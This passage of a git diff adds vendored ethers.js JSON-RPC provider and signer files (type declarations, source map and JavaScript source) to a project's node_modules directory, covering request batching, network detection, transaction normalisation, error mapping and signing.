fee per gas for [[link-eip-1559]] transactions. + */ + maxFeePerGas?: string; + /** + * The maximum priority fee per gas for [[link-eip-1559]] transactions. + */ + maxPriorityFeePerGas?: string; + /** + * The nonce for the transaction. + */ + nonce?: string; + /** + * The transaction value (in wei). + */ + value?: string; + /** + * The transaction access list. + */ + accessList?: Array<{ + address: string; + storageKeys: Array; + }>; + /** + * The transaction authorization list. + */ + authorizationList?: Array<{ + address: string; + nonce: string; + chainId: string; + yParity: string; + r: string; + s: string; + }>; +} +export declare class JsonRpcSigner extends AbstractSigner { + address: string; + constructor(provider: JsonRpcApiProvider, address: string); + connect(provider: null | Provider): Signer; + getAddress(): Promise; + populateTransaction(tx: TransactionRequest): Promise>; + sendUncheckedTransaction(_tx: TransactionRequest): Promise; + sendTransaction(tx: TransactionRequest): Promise; + signTransaction(_tx: TransactionRequest): Promise; + signMessage(_message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, _value: Record): Promise; + unlock(password: string): Promise; + _legacySignMessage(_message: string | Uint8Array): Promise; +} +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +export declare abstract class JsonRpcApiProvider extends AbstractProvider { + #private; + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions); + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key: K): JsonRpcApiProviderOptions[K]; + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network(): Network; + /** + * Sends a JSON-RPC %%payload%% (or a batch) to the underlying channel. + * + * Sub-classes **MUST** override this. + */ + abstract _send(payload: JsonRpcPayload | Array): Promise>; + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + _perform(req: PerformActionRequest): Promise; + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + _detectNetwork(): Promise; + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start(): void; + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + _waitUntilReady(): Promise; + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub: Subscription): Subscriber; + /** + * Returns true only if the [[_start]] has been called. + */ + get ready(): boolean; + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx: TransactionRequest): JsonRpcTransactionRequest; + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req: PerformActionRequest): null | { + method: string; + args: Array; + }; + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error; + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method: string, params: Array | Record): Promise; + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + getSigner(address?: number | string): Promise; + listAccounts(): Promise>; + destroy(): void; +} +/** + * @_ignore: + */ +export declare abstract class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #private; + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions); + _getSubscriber(sub: Subscription): Subscriber; + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval(): number; + set pollingInterval(value: number); +} +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +export declare class JsonRpcProvider extends JsonRpcApiPollingProvider { + #private; + constructor(url?: string | FetchRequest, network?: Networkish, options?: JsonRpcApiProviderOptions); + _getConnection(): FetchRequest; + send(method: string, params: Array | Record): Promise; + _send(payload: JsonRpcPayload | Array): Promise>; +} +//# sourceMappingURL=provider-jsonrpc.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts.map new file mode 100644 index 000000000000..8a6f870a1aff --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-jsonrpc.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-jsonrpc.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAWH,OAAO,EAGH,YAAY,EACf,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAuB,MAAM,wBAAwB,CAAC;AAC/E,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAIvC,OAAO,KAAK,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAC;A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AG,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IAsB5E;;;;;;;;;;;OAWG;IACG,SAAS,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC,aAAa,CAAC;IA4B5D,YAAY,IAAI,OAAO,CAAC,KAAK,CAAC,aAAa,CAAC,CAAC;IAKnD,OAAO,IAAI,IAAI;CAmBlB;AAKD;;GAEG;AACH,8BAAsB,yBAA0B,SAAQ,kBAAkB;;gBAE1D,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IASrE,cAAc,CAAC,GAAG,EAAE,YAAY,GAAG,UAAU;IAQ7C;;OAEG;IACH,IAAI,eAAe,IAAI,MAAM,CAAkC;IAC/D,IAAI,eAAe,CAAC,KAAK,EAAE,MAAM,EAQhC;CACJ;AAED;;;;;;;GAOG;AACH,qBAAa,eAAgB,SAAQ,yBAAyB;;gBAG9C,GAAG,CAAC,EAAE,MAAM,GAAG,YAAY,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IAWlG,cAAc,IAAI,YAAY;IAIxB,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IAS5E,KAAK,CAAC,OAAO,EAAE,cAAc,GAAG,KAAK,CAAC,cAAc,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,aAAa,CAAC,CAAC;CAa9F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js new file mode 100644 index 000000000000..1ecc723bed00 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-jsonrpc.js @@ -0,0 +1,973 @@ +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ +// @TODO: +// - Add the batching API +// https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false +import { AbiCoder } from "../abi/index.js"; +import { getAddress, resolveAddress } from "../address/index.js"; +import { TypedDataEncoder } from "../hash/index.js"; +import { accessListify, authorizationify } from "../transaction/index.js"; +import { defineProperties, getBigInt, hexlify, isHexString, toQuantity, toUtf8Bytes, isError, makeError, assert, assertArgument, FetchRequest, resolveProperties } from "../utils/index.js"; +import { AbstractProvider, UnmanagedSubscriber } from "./abstract-provider.js"; +import { AbstractSigner } from "./abstract-signer.js"; +import { Network } from "./network.js"; +import { FilterIdEventSubscriber, FilterIdPendingSubscriber } from "./subscriber-filterid.js"; +import { PollingEventSubscriber } from "./subscriber-polling.js"; +const Primitive = "bigint,boolean,function,number,string,symbol".split(/,/g); +//const Methods = "getAddress,then".split(/,/g); +function deepCopy(value) { + if (value == null || Primitive.indexOf(typeof (value)) >= 0) { + return value; + } + // Keep any Addressable + if (typeof (value.getAddress) === "function") { + return value; + } + if (Array.isArray(value)) { + return (value.map(deepCopy)); + } + if (typeof (value) === "object") { + return Object.keys(value).reduce((accum, key) => { + accum[key] = value[key]; + return accum; + }, {}); + } + throw new Error(`should not happen: ${value} (${typeof (value)})`); +} +function stall(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getLowerCase(value) { + if (value) { + return value.toLowerCase(); + } + return value; +} +function isPollable(value) { + return (value && typeof (value.pollingInterval) === "number"); +} +const defaultOptions = { + polling: false, + staticNetwork: null, + batchStallTime: 10, + batchMaxSize: (1 << 20), + batchMaxCount: 100, + cacheTimeout: 250, + pollingInterval: 4000 +}; +// @TODO: Unchecked Signers +export class JsonRpcSigner extends AbstractSigner { + address; + constructor(provider, address) { + super(provider); + address = getAddress(address); + defineProperties(this, { address }); + } + connect(provider) { + assert(false, "cannot reconnect JsonRpcSigner", "UNSUPPORTED_OPERATION", { + operation: "signer.connect" + }); + } + async getAddress() { + return this.address; + } + // JSON-RPC will automatially fill in nonce, etc. so we just check from + async populateTransaction(tx) { + return await this.populateCall(tx); + } + // Returns just the hash of the transaction after sent, which is what + // the bare JSON-RPC API does; + async sendUncheckedTransaction(_tx) { + const tx = deepCopy(_tx); + const promises = []; + // Make sure the from matches the sender + if (tx.from) { + const _from = tx.from; + promises.push((async () => { + const from = await resolveAddress(_from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + })()); + } + else { + tx.from = this.address; + } + // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user + // wishes to use this, it is easy to specify explicitly, otherwise + // we look it up for them. + if (tx.gasLimit == null) { + promises.push((async () => { + tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address }); + })()); + } + // The address may be an ENS name or Addressable + if (tx.to != null) { + const _to = tx.to; + promises.push((async () => { + tx.to = await resolveAddress(_to, this.provider); + })()); + } + // Wait until all of our properties are filled in + if (promises.length) { + await Promise.all(promises); + } + const hexTx = this.provider.getRpcTransaction(tx); + return this.provider.send("eth_sendTransaction", [hexTx]); + } + async sendTransaction(tx) { + // This cannot be mined any earlier than any recent block + const blockNumber = await this.provider.getBlockNumber(); + // Send the transaction + const hash = await this.sendUncheckedTransaction(tx); + // Unfortunately, JSON-RPC only provides and opaque transaction hash + // for a response, and we need the actual transaction, so we poll + // for it; it should show up very quickly + return await (new Promise((resolve, reject) => { + const timeouts = [1000, 100]; + let invalids = 0; + const checkTx = async () => { + try { + // Try getting the transaction + const tx = await this.provider.getTransaction(hash); + if (tx != null) { + resolve(tx.replaceableTransaction(blockNumber)); + return; + } + } + catch (error) { + // If we were cancelled: stop polling. + // If the data is bad: the node returns bad transactions + // If the network changed: calling again will also fail + // If unsupported: likely destroyed + if (isError(error, "CANCELLED") || isError(error, "BAD_DATA") || + isError(error, "NETWORK_ERROR") || isError(error, "UNSUPPORTED_OPERATION")) { + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + reject(error); + return; + } + // Stop-gap for misbehaving backends; see #4513 + if (isError(error, "INVALID_ARGUMENT")) { + invalids++; + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + if (invalids > 10) { + reject(error); + return; + } + } + // Notify anyone that cares; but we will try again, since + // it is likely an intermittent service error + this.provider.emit("error", makeError("failed to fetch transation after sending (will try again)", "UNKNOWN_ERROR", { error })); + } + // Wait another 4 seconds + this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000); + }; + checkTx(); + })); + } + async signTransaction(_tx) { + const tx = deepCopy(_tx); + // Make sure the from matches the sender + if (tx.from) { + const from = await resolveAddress(tx.from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + } + else { + tx.from = this.address; + } + const hexTx = this.provider.getRpcTransaction(tx); + return await this.provider.send("eth_signTransaction", [hexTx]); + } + async signMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("personal_sign", [ + hexlify(message), this.address.toLowerCase() + ]); + } + async signTypedData(domain, types, _value) { + const value = deepCopy(_value); + // Populate any ENS names (in-place) + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value) => { + const address = await resolveAddress(value); + assertArgument(address != null, "TypedData does not support null address", "value", value); + return address; + }); + return await this.provider.send("eth_signTypedData_v4", [ + this.address.toLowerCase(), + JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value)) + ]); + } + async unlock(password) { + return this.provider.send("personal_unlockAccount", [ + this.address.toLowerCase(), password, null + ]); + } + // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign + async _legacySignMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("eth_sign", [ + this.address.toLowerCase(), hexlify(message) + ]); + } +} +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +export class JsonRpcApiProvider extends AbstractProvider { + #options; + // The next ID to use for the JSON-RPC ID field + #nextId; + // Payloads are queued and triggered in batches using the drainTimer + #payloads; + #drainTimer; + #notReady; + #network; + #pendingDetectNetwork; + #scheduleDrain() { + if (this.#drainTimer) { + return; + } + // If we aren't using batching, no harm in sending it immediately + const stallTime = (this._getOption("batchMaxCount") === 1) ? 0 : this._getOption("batchStallTime"); + this.#drainTimer = setTimeout(() => { + this.#drainTimer = null; + const payloads = this.#payloads; + this.#payloads = []; + while (payloads.length) { + // Create payload batches that satisfy our batch constraints + const batch = [(payloads.shift())]; + while (payloads.length) { + if (batch.length === this.#options.batchMaxCount) { + break; + } + batch.push((payloads.shift())); + const bytes = JSON.stringify(batch.map((p) => p.payload)); + if (bytes.length > this.#options.batchMaxSize) { + payloads.unshift((batch.pop())); + break; + } + } + // Process the result to each payload + (async () => { + const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload)); + this.emit("debug", { action: "sendRpcPayload", payload }); + try { + const result = await this._send(payload); + this.emit("debug", { action: "receiveRpcResult", result }); + // Process results in batch order + for (const { resolve, reject, payload } of batch) { + if (this.destroyed) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + continue; + } + // Find the matching result + const resp = result.filter((r) => (r.id === payload.id))[0]; + // No result; the node failed us in unexpected ways + if (resp == null) { + const error = makeError("missing response for request", "BAD_DATA", { + value: result, info: { payload } + }); + this.emit("error", error); + reject(error); + continue; + } + // The response is an error + if ("error" in resp) { + reject(this.getRpcError(payload, resp)); + continue; + } + // All good; send the result + resolve(resp.result); + } + } + catch (error) { + this.emit("debug", { action: "receiveRpcError", error }); + for (const { reject } of batch) { + // @TODO: augment the error with the payload + reject(error); + } + } + })(); + } + }, stallTime); + } + constructor(network, options) { + super(network, options); + this.#nextId = 1; + this.#options = Object.assign({}, defaultOptions, options || {}); + this.#payloads = []; + this.#drainTimer = null; + this.#network = null; + this.#pendingDetectNetwork = null; + { + let resolve = null; + const promise = new Promise((_resolve) => { + resolve = _resolve; + }); + this.#notReady = { promise, resolve }; + } + const staticNetwork = this._getOption("staticNetwork"); + if (typeof (staticNetwork) === "boolean") { + assertArgument(!staticNetwork || network !== "any", "staticNetwork cannot be used on special network 'any'", "options", options); + if (staticNetwork && network != null) { + this.#network = Network.from(network); + } + } + else if (staticNetwork) { + // Make sure any static network is compatbile with the provided netwrok + assertArgument(network == null || staticNetwork.matches(network), "staticNetwork MUST match network object", "options", options); + this.#network = staticNetwork; + } + } + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key) { + return this.#options[key]; + } + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network() { + assert(this.#network, "network is not available yet", "NETWORK_ERROR"); + return this.#network; + } + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + async _perform(req) { + // Legacy networks do not like the type field being passed along (which + // is fair), so we delete type if it is 0 and a non-EIP-1559 network + if (req.method === "call" || req.method === "estimateGas") { + let tx = req.transaction; + if (tx && tx.type != null && getBigInt(tx.type)) { + // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559 + if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { + const feeData = await this.getFeeData(); + if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { + // Network doesn't know about EIP-1559 (and hence type) + req = Object.assign({}, req, { + transaction: Object.assign({}, tx, { type: undefined }) + }); + } + } + } + } + const request = this.getRpcRequest(req); + if (request != null) { + return await this.send(request.method, request.args); + } + return super._perform(req); + } + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + async _detectNetwork() { + const network = this._getOption("staticNetwork"); + if (network) { + if (network === true) { + if (this.#network) { + return this.#network; + } + } + else { + return network; + } + } + if (this.#pendingDetectNetwork) { + return await this.#pendingDetectNetwork; + } + // If we are ready, use ``send``, which enabled requests to be batched + if (this.ready) { + this.#pendingDetectNetwork = (async () => { + try { + const result = Network.from(getBigInt(await this.send("eth_chainId", []))); + this.#pendingDetectNetwork = null; + return result; + } + catch (error) { + this.#pendingDetectNetwork = null; + throw error; + } + })(); + return await this.#pendingDetectNetwork; + } + // We are not ready yet; use the primitive _send + this.#pendingDetectNetwork = (async () => { + const payload = { + id: this.#nextId++, method: "eth_chainId", params: [], jsonrpc: "2.0" + }; + this.emit("debug", { action: "sendRpcPayload", payload }); + let result; + try { + result = (await this._send(payload))[0]; + this.#pendingDetectNetwork = null; + } + catch (error) { + this.#pendingDetectNetwork = null; + this.emit("debug", { action: "receiveRpcError", error }); + throw error; + } + this.emit("debug", { action: "receiveRpcResult", result }); + if ("result" in result) { + return Network.from(getBigInt(result.result)); + } + throw this.getRpcError(payload, result); + })(); + return await this.#pendingDetectNetwork; + } + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start() { + if (this.#notReady == null || this.#notReady.resolve == null) { + return; + } + this.#notReady.resolve(); + this.#notReady = null; + (async () => { + // Bootstrap the network + while (this.#network == null && !this.destroyed) { + try { + this.#network = await this._detectNetwork(); + } + catch (error) { + if (this.destroyed) { + break; + } + console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"); + this.emit("error", makeError("failed to bootstrap network detection", "NETWORK_ERROR", { event: "initial-network-discovery", info: { error } })); + await stall(1000); + } + } + // Start dispatching requests + this.#scheduleDrain(); + })(); + } + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + async _waitUntilReady() { + if (this.#notReady == null) { + return; + } + return await this.#notReady.promise; + } + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub) { + // Pending Filters aren't availble via polling + if (sub.type === "pending") { + return new FilterIdPendingSubscriber(this); + } + if (sub.type === "event") { + if (this._getOption("polling")) { + return new PollingEventSubscriber(this, sub.filter); + } + return new FilterIdEventSubscriber(this, sub.filter); + } + // Orphaned Logs are handled automatically, by the filter, since + // logs with removed are emitted by it + if (sub.type === "orphan" && sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("orphan"); + } + return super._getSubscriber(sub); + } + /** + * Returns true only if the [[_start]] has been called. + */ + get ready() { return this.#notReady == null; } + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx) { + const result = {}; + // JSON-RPC now requires numeric values to be "quantity" values + ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach((key) => { + if (tx[key] == null) { + return; + } + let dstKey = key; + if (key === "gasLimit") { + dstKey = "gas"; + } + result[dstKey] = toQuantity(getBigInt(tx[key], `tx.${key}`)); + }); + // Make sure addresses and data are lowercase + ["from", "to", "data"].forEach((key) => { + if (tx[key] == null) { + return; + } + result[key] = hexlify(tx[key]); + }); + // Normalize the access list object + if (tx.accessList) { + result["accessList"] = accessListify(tx.accessList); + } + if (tx.blobVersionedHashes) { + // @TODO: Remove this case once EIP-4844 added to prepared tx + result["blobVersionedHashes"] = tx.blobVersionedHashes.map(h => h.toLowerCase()); + } + if (tx.authorizationList) { + result["authorizationList"] = tx.authorizationList.map((_a) => { + const a = authorizationify(_a); + return { + address: a.address, + nonce: toQuantity(a.nonce), + chainId: toQuantity(a.chainId), + yParity: toQuantity(a.signature.yParity), + r: toQuantity(a.signature.r), + s: toQuantity(a.signature.s), + }; + }); + } + // @TODO: blobs should probably also be copied over, optionally + // accounting for the kzg property to backfill blobVersionedHashes + // using the commitment. Or should that be left as an exercise to + // the caller? + return result; + } + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req) { + switch (req.method) { + case "chainId": + return { method: "eth_chainId", args: [] }; + case "getBlockNumber": + return { method: "eth_blockNumber", args: [] }; + case "getGasPrice": + return { method: "eth_gasPrice", args: [] }; + case "getPriorityFee": + return { method: "eth_maxPriorityFeePerGas", args: [] }; + case "getBalance": + return { + method: "eth_getBalance", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getTransactionCount": + return { + method: "eth_getTransactionCount", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getCode": + return { + method: "eth_getCode", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getStorage": + return { + method: "eth_getStorageAt", + args: [ + getLowerCase(req.address), + ("0x" + req.position.toString(16)), + req.blockTag + ] + }; + case "broadcastTransaction": + return { + method: "eth_sendRawTransaction", + args: [req.signedTransaction] + }; + case "getBlock": + if ("blockTag" in req) { + return { + method: "eth_getBlockByNumber", + args: [req.blockTag, !!req.includeTransactions] + }; + } + else if ("blockHash" in req) { + return { + method: "eth_getBlockByHash", + args: [req.blockHash, !!req.includeTransactions] + }; + } + break; + case "getTransaction": + return { + method: "eth_getTransactionByHash", + args: [req.hash] + }; + case "getTransactionReceipt": + return { + method: "eth_getTransactionReceipt", + args: [req.hash] + }; + case "call": + return { + method: "eth_call", + args: [this.getRpcTransaction(req.transaction), req.blockTag] + }; + case "estimateGas": { + return { + method: "eth_estimateGas", + args: [this.getRpcTransaction(req.transaction)] + }; + } + case "getLogs": + if (req.filter && req.filter.address != null) { + if (Array.isArray(req.filter.address)) { + req.filter.address = req.filter.address.map(getLowerCase); + } + else { + req.filter.address = getLowerCase(req.filter.address); + } + } + return { method: "eth_getLogs", args: [req.filter] }; + } + return null; + } + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload, _error) { + const { method } = payload; + const { error } = _error; + if (method === "eth_estimateGas" && error.message) { + const msg = error.message; + if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) { + return makeError("insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + else if (msg.match(/nonce/i) && msg.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + } + if (method === "eth_call" || method === "eth_estimateGas") { + const result = spelunkData(error); + const e = AbiCoder.getBuiltinCallException((method === "eth_call") ? "call" : "estimateGas", (payload.params[0]), (result ? result.data : null)); + e.info = { error, payload }; + return e; + } + // Only estimateGas and call can return arbitrary contract-defined text, so now we + // we can process text safely. + const message = JSON.stringify(spelunkMessage(error)); + if (typeof (error.message) === "string" && error.message.match(/user denied|ethers-user-denied/i)) { + const actionMap = { + eth_sign: "signMessage", + personal_sign: "signMessage", + eth_signTypedData_v4: "signTypedData", + eth_signTransaction: "signTransaction", + eth_sendTransaction: "sendTransaction", + eth_requestAccounts: "requestAccess", + wallet_requestAccounts: "requestAccess", + }; + return makeError(`user rejected action`, "ACTION_REJECTED", { + action: (actionMap[method] || "unknown"), + reason: "rejected", + info: { payload, error } + }); + } + if (method === "eth_sendRawTransaction" || method === "eth_sendTransaction") { + const transaction = (payload.params[0]); + if (message.match(/insufficient funds|base fee exceeds gas limit/i)) { + return makeError("insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction, info: { error } + }); + } + if (message.match(/nonce/i) && message.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { transaction, info: { error } }); + } + // "replacement transaction underpriced" + if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) { + return makeError("replacement fee too low", "REPLACEMENT_UNDERPRICED", { transaction, info: { error } }); + } + if (message.match(/only replay-protected/i)) { + return makeError("legacy pre-eip-155 transactions not supported", "UNSUPPORTED_OPERATION", { + operation: method, info: { transaction, info: { error } } + }); + } + } + let unsupported = !!message.match(/the method .* does not exist/i); + if (!unsupported) { + if (error && error.details && error.details.startsWith("Unauthorized method:")) { + unsupported = true; + } + } + if (unsupported) { + return makeError("unsupported operation", "UNSUPPORTED_OPERATION", { + operation: payload.method, info: { error, payload } + }); + } + return makeError("could not coalesce error", "UNKNOWN_ERROR", { error, payload }); + } + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method, params) { + // @TODO: cache chainId?? purge on switch_networks + // We have been destroyed; no operations are supported anymore + if (this.destroyed) { + return Promise.reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: method })); + } + const id = this.#nextId++; + const promise = new Promise((resolve, reject) => { + this.#payloads.push({ + resolve, reject, + payload: { method, params, id, jsonrpc: "2.0" } + }); + }); + // If there is not a pending drainTimer, set one + this.#scheduleDrain(); + return promise; + } + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + async getSigner(address) { + if (address == null) { + address = 0; + } + const accountsPromise = this.send("eth_accounts", []); + // Account index + if (typeof (address) === "number") { + const accounts = (await accountsPromise); + if (address >= accounts.length) { + throw new Error("no such account"); + } + return new JsonRpcSigner(this, accounts[address]); + } + const { accounts } = await resolveProperties({ + network: this.getNetwork(), + accounts: accountsPromise + }); + // Account address + address = getAddress(address); + for (const account of accounts) { + if (getAddress(account) === address) { + return new JsonRpcSigner(this, address); + } + } + throw new Error("invalid account"); + } + async listAccounts() { + const accounts = await this.send("eth_accounts", []); + return accounts.map((a) => new JsonRpcSigner(this, a)); + } + destroy() { + // Stop processing requests + if (this.#drainTimer) { + clearTimeout(this.#drainTimer); + this.#drainTimer = null; + } + // Cancel all pending requests + for (const { payload, reject } of this.#payloads) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + } + this.#payloads = []; + // Parent clean-up + super.destroy(); + } +} +// @TODO: remove this in v7, it is not exported because this functionality +// is exposed in the JsonRpcApiProvider by setting polling to true. It should +// be safe to remove regardless, because it isn't reachable, but just in case. +/** + * @_ignore: + */ +export class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #pollingInterval; + constructor(network, options) { + super(network, options); + let pollingInterval = this._getOption("pollingInterval"); + if (pollingInterval == null) { + pollingInterval = defaultOptions.pollingInterval; + } + this.#pollingInterval = pollingInterval; + } + _getSubscriber(sub) { + const subscriber = super._getSubscriber(sub); + if (isPollable(subscriber)) { + subscriber.pollingInterval = this.#pollingInterval; + } + return subscriber; + } + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval() { return this.#pollingInterval; } + set pollingInterval(value) { + if (!Number.isInteger(value) || value < 0) { + throw 